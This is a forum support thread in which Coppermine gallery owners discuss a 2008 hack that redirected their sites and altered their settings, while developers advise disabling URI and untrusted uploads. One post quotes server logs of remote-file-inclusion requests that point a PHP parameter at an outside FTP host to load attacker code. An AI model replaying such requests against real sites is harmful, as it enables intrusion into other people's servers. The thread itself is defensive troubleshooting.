Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?

[marian]

We put the back up in this morning; ran grep cdpuvbhfzz * -R > hacked.txt and all was clear, disabled URI. Now we have been hacked again.
No, we haven't yet upgraded as we were waiting for your new version.

[Llama8668]

So does disabling URI and URL for guests (and if that is extended to all other groups as well?) not fix it (I've also put the galleries back up but will block access again if they're still vulnerable)?

[marian]

So does disabling URI and URL for guests (and if that is extended to all other groups as well?) not fix it (I've also put the galleries back up but will block access again if they're still vulnerable)?

Seems not.

[Llama8668]

Did you remove all instances of the uploaded file (it seems the hack might use the URI functionality of coppermine to upload a 142739_298w3 .zip/.jpg file to the default upload folder, this is then run to trigger the mass editing of files).

Is there any other quick fix (such as temporarily removing URI related files or code) which could be employed as a stop gap?

[Nibbler]

You should disable uploading completely for untrusted users (anonymous + unverified registrations) to be safe until the next version is released.

[marian]

We haven't allowed posting by anyone other than admin for well over a year and have never had registered users.

[Craig Walsh]

You should disable uploading completely for untrusted users (anonymous + unverified registrations) to be safe until the next version is released.

Yes, sir.  I've done that.  Did it first thing this morning, UK time.  We've not allowed posting by anyone (other than me, as admin) for several years, but we did have the URI Upload boxes (in Groups) set to other than 0.  Now 0's everywhere.

And I understand that you're all working very hard --- and I appreciate that, thank you --- to create the next version of CPG, which will prevent this problem happening again.  

On our own CPG site, although we have completely re-uploaded the latest version --- and we were running the latest version at the time of the attack last night --- we still seem to have this problem.  

I guess what I don't understand (and please don't growl at me for being thick --- guilty as charged!) is whether the next version, when released, will actually fix the current problem on my www.bark.ch website, or will only prevent it from happening again.

If it won't fix it, should I have my server people roll-back the site to yesterday's backup now?   And if we restore from yesterday's back-up, and are certain that uploading from other users is completely, totally shut down, is the problem unlikely to reoccur with the current version of CPG?

I guess I'm just trying to find out if I should wait for the new version --- because it will also fix this problem --- or whether we should restore, be sure uploads are disabled, and then wait for the new release?

Sorry for the questions.  I know you're all busy, and the last thing you want is my sticking my nose in . . . .

[marian]

It looks to me as though this is escalating.

From our server logs:
root@server [/home3/public_html_hack]# cat /etc/httpd/domlogs/bymnews.com | grep upload
208.16.236.69 - - [10/Apr/2008:13:42:23 +0200] "GET /news/newsDetails.php?id=5686/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 200 9290 "-" "libwww-perl/5.805"
208.16.236.69 - - [10/Apr/2008:13:42:24 +0200] "GET /home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? HTTP/1.1"
404 - "-" "libwww-perl/5.805"
208.16.236.69 - - [10/Apr/2008:13:42:24 +0200] "GET /news/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 404 - "-" "libwww-perl/5.805"
217.67.26.84 - - [10/Apr/2008:14:49:37 +0200] "GET /news/newsDetails.php?id=5686/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 200 9584 "-" "libwww-perl/5.805"
217.67.26.84 - - [10/Apr/2008:14:49:38 +0200] "GET /home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? HTTP/1.1"
404 - "-" "libwww-perl/5.805"
217.67.26.84 - - [10/Apr/2008:14:49:38 +0200] "GET /news/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 404 - "-" "libwww-perl/5.805"
85.114.135.126 - - [10/Apr/2008:14:50:51 +0200] "GET /news/newsDetails.php?id=5686/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 200 9584 "-" "libwww-perl/5.805"
85.114.135.126 - - [10/Apr/2008:14:50:51 +0200] "GET /home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? HTTP/1.1"
404 - "-" "libwww-perl/5.805"
85.114.135.126 - - [10/Apr/2008:14:50:52 +0200] "GET /news/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 404 - "-" "libwww-perl/5.805"
209.85.105.25 - - [10/Apr/2008:15:26:44 +0200] "GET /news/newsDetails.php?id=5686/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 200 9584 "-" "libwww-perl/5.79"
209.85.105.25 - - [10/Apr/2008:15:26:45 +0200] "GET /home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? HTTP/1.1"
404 - "-" "libwww-perl/5.79"
209.85.105.25 - - [10/Apr/2008:15:26:46 +0200] "GET /news/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 404 - "-" "libwww-perl/5.79"
195.5.117.252 - - [10/Apr/2008:18:46:01 +0200] "POST /photos/upload.php HTTP/1.1" 200 6920 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [10/Apr/2008:18:47:13 +0200] "POST /photos/upload.php HTTP/1.1" 200 43854 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [10/Apr/2008:18:47:22 +0200] "POST /photos/upload.php HTTP/1.1" 200 6782 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"

[Nibbler]

You are asking questions I can't give answers for. How you run your server is up to you. The new version will close *a* security hole I found in upload.php when I checked it after seeing it in the logs people posted here. It won't repair anything, just closes a hole. Since this vulnerability was not responsibly disclosed to us (ie. this is a zero day exploit) I can't know that that is how your site was hacked. I can't know what scripts were uploaded to your server. I don't know any more than you do.

[marian]

The trem/oldbisok is another thing. See these:
http://www.cpgnuke.com/Forums/viewtopic/t=22241/
http://sunsite.queensu.ca/accesswatch-1.32/details.html//playing.php/common/db.php
Lots more from a Google.

[Nibbler]

Of course it is. Coppermine does not have the files that you show being requested. I already asked people to stop posting random bits of information and I really don't want to have to lock the thread.

[Richw2k2]

The same has happened to me. I have coppermine in a gallery folder (which i think is a virtual directory?) http://gallery...
Only coppermine exists in this folder and all the php files in this folder have been modified.

I had a similar file but it was a jpg called

142739_298w3.jpg

[marian]

Of course it is. Coppermine does not have the files that you show being requested. I already asked people to stop posting random bits of information and I really don't want to have to lock the thread.

I apologise but as CPGNuke mentioned it ging for Coppermine I thought maybe another vulnerability might be under target.

[Llama8668]

If cdpuvbhfzz is a successful exploit of all galleries then is still a little surprising that it's only effected a few so far (there are big sites which run coppermine which you'd think would be targeted en mass if damage were desired).

So far the cleaned sites are okay (all URI and URL slots have been set to 0 and all the checkboxes for guests are set to no). It's not too much of a problem now that things are back online (and that it's being looked into by the coppermine staff). If the automated removal script a few pages back can be run by all then that will remove the frustration.

[Llama8668]

One of my sites has been hacked again (that's with URI and URL set to 0 for all groups) :-\. There's no obvious sign of the offending file within the default upload folder (though the customer header edit points to 142739_298w3.jpg). Perhaps I'm not cleaning the right files from the gallery directory?

[marian]

One of my sites has been hacked again (that's with URI and URL set to 0 for all groups) :-\. There's no obvious sign of the offending file within the default upload folder (though the customer header edit points to 142739_298w3.jpg). Perhaps I'm not cleaning the right files from the gallery directory?

I hope this wont get this thread locked, but I would like to know what versions of php and apache those who have been hacked are running?

[Joachim Müller]

This thread will get locked if you don't stop posting irrelevant questions and bits that are meaningless .

Do I find it funny that especially people who have a notorious record of misbehaviour on this board turn up on this thread after a long period of silence? No.

OK, everybody please stop it, really! Stop replying to this thread, asking the same questions over and over. We can't tell you how to clean your site once it has been hacked - that's beyond the scope of this site. We can only tell you what you can do to prevent getting hacked: do as Nibbler suggested repeatedly. Don't ask stupid questions like "how can I disable URI uploads"  this is being explained in the docs and has been explained in this thread as well.
I understand that those of you who got hacked are upset, but it certainly won't help to clutter this thread even further.

From now on I'll delete every invalid new posting (like "help, I've been hacked as well" or similar crap) from this thread immediately and I will ban that user from posting for a week. I mean it! Only totally valid replies to this thread are allowed - if you're not sure if your posting is going to be valid, don't post it.

Those who haven't been hacked should still do as Nibbler suggested and lock down their gallery: disallow URI uploads, disallow uploads from untrusted sources. Make a backup of your files and your database now.

Joachim

[shiftsrl]

ok hoping not to be banned I would give you some informations.

I've closed the URI upload and the hack has happened again but in half, I think.

I've found in Path to custom header include the usual path at the .jpg o .zip file /albums/userpics/1001/xxxxx the only difference is that the file was not here and neither the directory 1001.

My configuration option was always changed this way

Number of albums to display is set to 1 (mine was
Number of columns for the album list is set to 1 (mine was 2)
Number of columns on thumbnail page is set to 1 (mine was 4)
Number of rows on thumbnail page is set to 1 (mine was 4)

I've noticed that every time these setting are changed in wxactly that way, this means that my gallery was "hacked" and that I'll find the string in Path to custom header include

I hope this will help you guys...

[Joachim Müller]

You probably haven't sanitized the hacked gallery. Once you have been hacked, it's not enough to just close the vulnerability, as the attacker probably has left a backdoor. You haven't teven told us if you have successfully removed the payload of the trojan. You have to make sure that your site was clean before being able to post a report about a re-infection.

[shiftsrl]

I've removed the 142739_298w3.zip or 142739_298w3.jpg file the first time I've noticed the infection. After that I've not found it anymore. I'm the only one allowed to upload on my gallery and I've disabled the URI upload for all groups. Now that you've told me, I've checked in the userpics forlder (that I don't use to upload pics) and found two files 1x1 pixel called gd1.jpg and gd2.jpg so I've removed them. All the other files are regular image files and the index.html and index.php are ok.

Problem is. How can I sanitize completely the gallery to avoid these annoyances? It seems that now the attack consist only in changing the parameters I've explained in my last message. There's a file I could lock to avoid these changes?